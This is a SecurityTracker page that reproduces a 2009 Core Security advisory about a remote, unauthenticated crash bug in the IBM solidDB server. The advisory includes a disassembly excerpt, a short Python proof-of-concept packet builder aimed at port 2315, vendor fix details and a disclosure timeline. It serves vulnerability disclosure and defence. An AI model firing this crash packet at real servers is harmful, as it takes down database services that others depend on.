Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Become a Partner and License Our Database or Notification Service
IBM solidDB Server Database Bug Lets Remote Users Deny Service
SecurityTracker Alert ID: 1023192|
SecurityTracker URL: http://securitytracker.com/id/1023192
(Links to External Site)
Date: Nov 18 2009
Denial of service via network|
Fix Available: Yes Vendor Confirmed: Yes |
Version(s): 184.108.40.206, 220.127.116.11; possibly other versions|
A vulnerability was reported in IBM solidDB Server. A remote user can cause denial of service conditions.|
A remote user can send specially crafted data with an invalid error code number to the 'solid.exe' database service on TCP port 2315 to cause the target service to crash.
The vendor was notified on October 23, 2009.
Damian Frizza from Core Security Technologies reported this vulnerability.
A remote user can cause the target database service to crash.|
The vendor has issued a fix (18.104.22.168; include in SolidDB and SolidDB Universal Cache 6.3 Fix Pack 3), available at:|
Vendor URL: www-01.ibm.com/support/docview.wss?uid=swg24024510 (Links to External Site)
Exception handling error|
Linux (Any), UNIX (AIX), UNIX (HP/UX), UNIX (Solaris - SunOS), Windows (Any)|
Source Message Contents
Date: Wed, 18 Nov 2009 15:23:03 -0300|
Subject: CORE-2009-1027: IBM SolidDB invalid error code vulnerability
-----BEGIN PGP SIGNED MESSAGE-----
Core Security Technologies - CoreLabs Advisory
IBM SolidDB invalid error code vulnerability
1. *Advisory Information*
Title: IBM SolidDB invalid error code vulnerability
Advisory Id: CORE-2009-1027
Advisory URL: http://www.coresecurity.com/content/ibm-soliddb-errorcode-dos
Date published: 2009-11-18
Date of last update: 2009-11-18
Vendors contacted: IBM
Release mode: Forced release
2. *Vulnerability Information*
Class: External Initialization of Trusted Variables [CWE-454]
Impact: Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-3840
3. *Vulnerability Description*
SolidDB is an in-memory relational database from IBM with over 3,000,000
deployments . It is used as an embedded database by independent
software vendors of enterprise applications, telecommunications and
embedded software and systems. IBM reports SolidDB as being used in
mission-critical applications from Cisco, HP, Alcatel and Nokia Siemens.
The in-memory database is also used as core component of IBM SolidDB
Universal Cache, a performance improvement application for relational
databases such as DB2, Microsoft SQL Server, Oracle and Informix.
A remotely exploitable vulnerability was found in the database server
core component. Exploitation of this bug does not require authentication
and will lead to a remotely triggered denial of service of the database
service. It is not likely that this bug could be otherwise exploited to
compromise systems running vulnerable versions of SolidDB. Core's
security advisory CORE-2009-0814 refers to this vulnerability in HP
OpenView Network Node Manager 
4. *Vulnerable packages*
. IBM SolidDB Server 22.214.171.124
. IBM SolidDB Server 126.96.36.199
. Other versions may be vulnerable but were not tested by Core.
5. *Non-vulnerable packages*
. IBM SolidDB Server 188.8.131.52
6. *Vendor Information, Solutions and Workarounds*
IBM has issued the SolidDB and SolidDB Universal Cache 6.3 Fix Pack 3
which addresses this problem. It is available for download from the
vendor's Fix Central site:
Blocking or restricting network access to port 2315/tcp will prevent
exploitation of the bug but it may have a negative impact for the
operation of any application embedding or using the SolidDB engine.
This vulnerability was discovered and researched by Damian Frizza from
Core Security Technologies.
8. *Technical Description / Proof of Concept Code*
IBM SolidDB server listens and accepts remote connections on port
2315/tcp. The service is implemented by 'solid.exe' which is started
automatically on boot. For certain transactions, upon receiving a packet
from the network the service will attempt to determine and display an
error code string based on an error code number specified in the packet.
By sending a specially crafted packet with an invalid error code number
it is possible to trigger an exception that forces abnormal termination
of the service. It is unlikely that the bug could be exploited for
anything other than a remote denial of service.
The following code excerpt explains the problem:
0061611F 0FB65424 02 MOVZX EDX,BYTE PTR SS:[ESP+2]
00616124 0FBF4C24 03 MOVSX ECX,WORD PTR SS:[ESP+3]
00616129 83F9 FF CMP ECX,-1
0061612C 0FBF4424 05 MOVSX EAX,WORD PTR SS:[ESP+5]
00616131 8956 10 MOV DWORD PTR DS:[ESI+10],EDX
00616134 8B5424 07 MOV EDX,DWORD PTR SS:[ESP+7]
00616138 894E 14 MOV DWORD PTR DS:[ESI+14],ECX
0061613B 8946 18 MOV DWORD PTR DS:[ESI+18],EAX
0061613E 8956 0C MOV DWORD PTR DS:[ESI+C],EDX
00616141 7D 09 JGE SHORT solid.0061614C
00616143 83F8 FF CMP EAX,-1
00616146 7D 04 JGE SHORT solid.0061614C
00616148 3BC8 CMP ECX,EAX
0061614A 74 05 JE SHORT solid.00616151
0061614C B8 01000000 MOV EAX,1
00616151 83C4 0C ADD ESP,0C
00616154 C3 RETN
The code above checks for an error condition based on the value of an
Error Code field in the inbound network packet. An error condition is
explicitly handled if the Error Code value is less than or equal to -1,
in which case a MessageBox with a corresponding descriptive error string
will be presented to the user. However, by crafting a packet with any
negative value in the Error Code field different from -1 the lookup for
the corresponding error string will fail triggering a non-recoverable
error and thus terminating the server process.
The following python code can be used to reproduce the bug:
a = struct.pack('<b', 2)
a += struct.pack('<H', 0)
a += struct.pack('<H',0xFEFF)
a += struct.pack('<H',0xFEFF)
a += "1234"
target_ip = 'X.X.X.X'
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect ((target_ip, 2315))
9. *Report Timeline*
Core Security Technologies sends an email to IBM AIX Security team
requesting a security point of contact to report security bugs in
SolidDB and asks whether the report should be sent to SolidDB security
IBM AIX Security replies indicating that they forwarded the request to
SolidDB's development team.
SolidDB's QA Manager contacts Core acknowledging the request originally
sent to AIX Security and indicating that although there isn't an
established formal channel to report security bugs in SolidDB the report
could be sent directly to him.
Core Security Technologies replies stating that a draft technical
document describing the problem is being prepared and will be sent to
SolidDB as soon as it is available. In the meantime, Core indicates that
a third-party vendor may have already reported the problem and requests
confirmation that said vendor recently reported a remote denial of
service vulnerability in the database service.
Core sends the advisory with full technical details to SolidDB team and
informs that its publication is set to December 7th, 2009, and that the
date is subject to be changed if publication of patches is coordinated
at agreed upon date between Core and IBM SolidDB. Core requests
confirmation that a SolidDB OEM customer  has already reported the
bug and received patches.
IBM SolidDB publishes patches to the vulnerable products.
Advisory CORE-2009-1027 published.
 IBM SolidDB
 HP Openview NNM 7.53 Invalid DB Error Code vulnerability
11. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
12. *About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
14. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
-----END PGP SIGNATURE-----
Go to the Top of This SecurityTracker Archive Page